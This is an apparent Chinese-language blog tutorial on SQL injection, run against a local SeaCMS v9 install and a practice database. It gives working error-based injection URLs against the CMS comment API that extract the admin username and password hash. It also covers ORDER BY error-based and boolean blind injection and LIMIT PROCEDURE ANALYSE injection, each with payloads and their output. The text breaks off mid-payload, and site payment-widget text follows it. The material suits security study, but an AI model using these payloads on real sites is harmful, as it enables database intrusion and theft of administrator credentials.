seacmsv9 SQL注入漏洞+order by 布尔盲注+过滤information_schema解决方案

一.seacmsv9注入管理员账号密码

1.使用一下注入语句:

http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml (1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @'

并没注入成功,无回显

接下来在数据库中测试

通过注入

输入:

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@\', updatexml(1,concat_ws(0x20,0x5c,(select name from#sea_admin limit 0,1)),1), @\') ORDER BY id DESC;

没用通过报错报出管理员名字

然后改为database(),继续输入命令

SELECT id,uid,username,dtime,reply,msg,agree,anti,pic,vote,ischeck FROM sea_comment WHERE m_type=1 AND id in (@\', updatexml(1,concat_ws(0x20,0x5c,(select database()#)),1), @\') ORDER BY id DESC;

发现报错爆出数据库名字

查找原因发现sea_comment内为空,无法回显

同样我们再网页中进行报错注入

输入:

http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,(select%20user()))),@%27

报错注入出数据库用户名

输入:

http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&rlist[]=@%27,%20extractvalue(1,%20concat_ws(0x20,%200x5c,database())),@%27

报错注入数据库名

注入管理员账号密码同样也是无回显

原因也是sea_comment内为空,无法回显

然后再次报错注入,就发现可以注入出管理员账号密码

注入账号:

输入:

http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml (1,concat_ws(0x20,0x5c,(select name from%23%0asea_admin limit 0,1)),1), @'

注入密码:

输入:

http://127.0.0.1/seacmsv9/upload/comment/api/index.php?gid=1&page=2&type=1&rlist[]=@', updatexml (1,concat_ws(0x20,0x5c,(select password from%23%0asea_admin limit 0,1)),1), @'

 最后再通过md5转换出密码

二.order by 注入

正常的oder by 语句:

select * from users order by id desc;

当desc此处位置参数可控时,即有可能存在oreder by注入,那么如何在这样的情况下注出我们想要的数据呢?

1.如果有报错信息输出,可尝试通过报错注入完成sql注入攻击

2.如果没有回显,可尝试盲注的手法来注入

通过报错注入(有回显)

这里用updatexml函数来执行报错注入的效果:

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select database())),0));
ERROR 1105 (HY000): XPATH syntax error: '~security'        //获取当前数据库

获取数据库个数

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.schemata)),0));

获取数据库列表

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~information_schema'
mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 1,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~security'

获取表个数

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select count(*) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~4'
获取表名

mysql> select * from users order by id and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema = "security")),0));
ERROR 1105 (HY000): XPATH syntax error: '~emails,referers,uagents,users'

获取字段个数

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select count(*) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~3'

获取字段名

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema = "security" and table_name = "users")),0));
ERROR 1105 (HY000): XPATH syntax error: '~id,username,password'
获取信息

mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select username from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'
mysql> select * from users order by id and (updatexml(1,concat(0x7e,(select password from users limit 0,1)),0));
ERROR 1105 (HY000): XPATH syntax error: '~Dumb'

通过盲注(没有回显)
另外就是没有order by注入没有回显的情况,这时就该用到盲注了,也就是说采取根据页面回显的状态进行判断的形式来进行布尔盲注。

首先这里运用到了一个异或的知识,0异或任何数值都还是这个值的本身,比如说0^10010的值还是10010。

接着再来看刚刚的简单sql语句

select * from users order by id desc;
这里的desc是可控字符串的话,我们让这条语句变下形:

select * from users order by id ^0;
这样的话,由于order by默认是升序排列的,没有desc也没有影响,同时,加上了^0也还是id本身,所以跟原来正常的排序没有任何的变化。

select * from users order by id ^1;
但如果是加上了^1的话,就会跟原来的排序发生明显变化,盲注也就通过这里的变化来判断我们注入的sql语句是否返回1。

另外,这里的盲注还用到了regexp,最终的sql注入语句变为:

select * from users order by id ^(select(select version()) regexp '^5');

三.limit注入

一般实际过程中使用 limit 时,大概有两种情况,一种使用order by,一种就是不使用 order by关键字

不存在 order by 关键字
执行语句

select id from users limit 0,1
这种情况下的 limit 后面可以使用union进行联合查询注入执行语句

select id from users limit 0,1 union select username from users;
存在 order by 关键字
执行语句

select id from users order by id desc limit 0,1;
此时后面再次使用union将会报错
除了union 就没有其他可以使用的了吗,非也
此方法适用于5.0.0< MySQL <5.6.6版本,在limit语句后面的注入
MySQL 5中的SELECT语法:

SELECT 
    [ALL | DISTINCT | DISTINCTROW ] 
      [HIGH_PRIORITY] 
      [STRAIGHT_JOIN] 
      [SQL_SMALL_RESULT] [SQL_BIG_RESULT] [SQL_BUFFER_RESULT] 
      [SQL_CACHE | SQL_NO_CACHE] [SQL_CALC_FOUND_ROWS] 
    select_expr [, select_expr ...] 
    [FROM table_references 
    [WHERE where_condition] 
    [GROUP BY {col_name | expr | position} 
      [ASC | DESC], ... [WITH ROLLUP]] 
    [HAVING where_condition] 
    [ORDER BY {col_name | expr | position} 
      [ASC | DESC], ...] 
    [LIMIT {[offset,] row_count | row_count OFFSET offset}] 
    [PROCEDURE procedure_name(argument_list)] 
    [INTO OUTFILE 'file_name' export_options 
      | INTO DUMPFILE 'file_name' 
      | INTO var_name [, var_name]] 
    [FOR UPDATE | LOCK IN SHARE MODE]]

limit 关键字后面还可跟PROCEDURE和 INTO两个关键字,但是 INTO 后面写入文件需要知道绝对路径以及写入shell的权限,因此利用比较难,因此这里以PROCEDURE为例进行注入

使用 PROCEDURE函数进行注入
ANALYSE支持两个参数,首先尝试一下默认两个参数

mysql> select id from users order by id desc limit 0,1 procedure analyse(1,1);
ERROR 1386 (HY000): Can't use ORDER clause with this procedure
报错,尝试一下对其中一个参数进行注入,这里首先尝试报错注入

mysql> select id from users order by id desc limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR 1105 (HY000): XPATH syntax error: ':5.5.53'
成功爆出 mysql 版本信息,证明如果存在报错回显的话,可以使用报错注入在limit后面进行注入如果不回显那就延迟注入

select id from users order by id limit 1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值